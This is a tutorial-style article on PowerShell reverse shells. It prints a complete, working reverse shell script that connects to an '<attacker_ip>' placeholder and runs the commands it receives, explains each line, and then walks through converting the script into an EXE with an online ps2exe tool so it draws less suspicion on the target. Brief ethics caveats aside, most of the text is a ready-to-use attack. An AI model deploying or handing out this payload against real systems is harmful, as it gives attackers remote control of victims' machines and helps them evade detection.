Unlocking the Power of PowerShell Reverse Shells: A Complete Guide with EXE Conversion

 

Introduction to Reverse Shells

In the world of cybersecurity, reverse shells are a crucial tool, often used by penetration testers to gain remote access to a target machine during security assessments. Unlike the typical direct approach where the attacker connects to the target, reverse shells work in the opposite direction. Here, the target machine initiates a connection to the attacker’s system, which bypasses many firewall restrictions. This makes reverse shells an incredibly useful tool for ethical hackers and security professionals when traditional connection methods might be blocked.

In this guide, we’ll dive into the basics of reverse shells, break down the components of a PowerShell reverse shell script, and then look at how you can convert the script to an executable file using an online tool. Let’s get started!

---

What Is a Reverse Shell, and Why Do We Use It?

A reverse shell is a remote access method that allows one computer (in this case, the attacker) to control another computer (the target) over the network. Normally, systems have firewalls to block incoming connections from outside sources. However, firewalls are generally configured to allow outgoing connections, which is what reverse shells take advantage of.

In a reverse shell setup, the attacker sets up a listener on a specific IP address and port. The target machine then connects back to the attacker, establishing a session where the attacker can send commands and receive responses. Since the connection originates from the target, it often bypasses the firewall’s inbound protection measures, making reverse shells effective in penetration testing scenarios.

             

---

The PowerShell Reverse Shell Script Explained

Now that we have a solid understanding of reverse shells and their purpose, let’s look at a PowerShell reverse shell script and break down how it works.

Here’s a PowerShell script commonly used to establish a reverse shell connection:

$client = New-Object System.Net.Sockets.TCPClient('<attacker_ip>',<attacker_port>);
$stream = $client.GetStream();
[byte[]]$buffer = 0..65535|%{0};
while(($i = $stream.Read($buffer, 0, $buffer.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer, 0, $i);
    $sendback = (iex $data 2>&1 | Out-String);
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte, 0, $sendbyte.Length);
    $stream.Flush();
}
$client.Close();

Understanding Each Part of the Script

This PowerShell script establishes a connection from the target machine to the attacker’s system and allows the attacker to execute commands remotely on the target. Let’s break down each part of the script to understand how it achieves this.

1. Establishing the TCP Connection

   
   $client = New-Object System.Net.Sockets.TCPClient('<attacker_ip>',<attacker_port>);
   

   This line initiates a TCP connection from the target to the attacker’s system by creating a TCP client object. Replace <attacker_ip> and <attacker_port> with the IP and port of the attacker's system where they are running a listener.

2. Creating the Data Stream

   $stream = $client.GetStream();
   

   This line retrieves the data stream from the established TCP connection. The data stream allows communication between the attacker and the target machine, enabling data transfer.

3. Setting Up the Buffer for Data Transfer

   [byte[]]$buffer = 0..65535|%{0};
   

   Here, we create a buffer, which is essentially a storage area for the incoming data. It’s an array of bytes that can hold up to 65535 elements, initializing each element with 0. This buffer will temporarily store data sent between the attacker and target.

4. Reading and Executing Commands in a Loop

   while(($i = $stream.Read($buffer, 0, $buffer.Length)) -ne 0){
       $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer, 0, $i);
       $sendback = (iex $data 2>&1 | Out-String);
   

   In this section, we set up a while loop that keeps the connection open as long as data is being read from the buffer. Here’s what each part does:

   • $i = $stream.Read($buffer, 0, $buffer.Length): This reads the incoming data from the stream into the buffer.
   • $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer, 0, $i): This converts the data read from the buffer into a string.
   • $sendback = (iex $data 2>&1 | Out-String): This line executes the received data (interpreted as a command) using iex (Invoke-Expression) and redirects errors and output to a string.

5. Formatting and Sending Back the Command Output

   
   $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
   $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
   $stream.Write($sendbyte, 0, $sendbyte.Length);
   $stream.Flush();
   

   • $sendback2: Combines the output of the command with a PowerShell prompt, indicating the current directory.
   • $sendbyte: Converts the output to ASCII, preparing it to be sent back to the attacker.
   • $stream.Write($sendbyte, 0, $sendbyte.Length): Sends the ASCII data back to the attacker over the TCP connection.
   • $stream.Flush(): Clears any remaining data from the stream to keep the communication smooth.

6. Closing the Connection

   $client.Close();
   

   When the loop finishes, this line closes the TCP connection, ending the reverse shell session.

---

Why Is a PowerShell Reverse Shell Useful in Cybersecurity?

PowerShell reverse shells are highly effective for penetration testing and gaining remote access during red team operations. By using PowerShell, you can leverage the built-in capabilities of Windows, making it possible to execute commands and scripts without raising suspicion. However, remember that reverse shells should only be used in controlled environments and with permission, as unauthorized use is illegal and unethical.

---

Converting the PowerShell Script to an Executable (EXE)

Sometimes, running PowerShell scripts directly on a target machine may raise suspicion or require permissions that aren’t available. Converting the script to an executable (EXE) format can make it easier to execute without direct interaction with PowerShell. You can use an online tool, like ps2exe, to convert PowerShell scripts into standalone executables. Here’s how you can do it:

1. Copy the PowerShell code from the script.
2. Open the ps2exe conversion tool at https://ps2exe.azurewebsites.net/.
3. Paste your PowerShell script into the provided text box.
4. Adjust any settings as needed, such as naming the EXE or specifying output options.
5. Click “Convert” to generate your executable, then download it.

Conclusion

Reverse shells are fundamental tools in the ethical hacking toolkit, allowing security professionals to establish a remote connection with a target system. This PowerShell reverse shell script provides a powerful yet simple way to achieve this connection, with the ability to execute commands and receive outputs remotely. Converting PowerShell scripts to EXE files offers further flexibility and ease of use, making deployment straightforward in various environments. Remember always to use these tools responsibly and within legal boundaries to ensure a safer digital environment for all.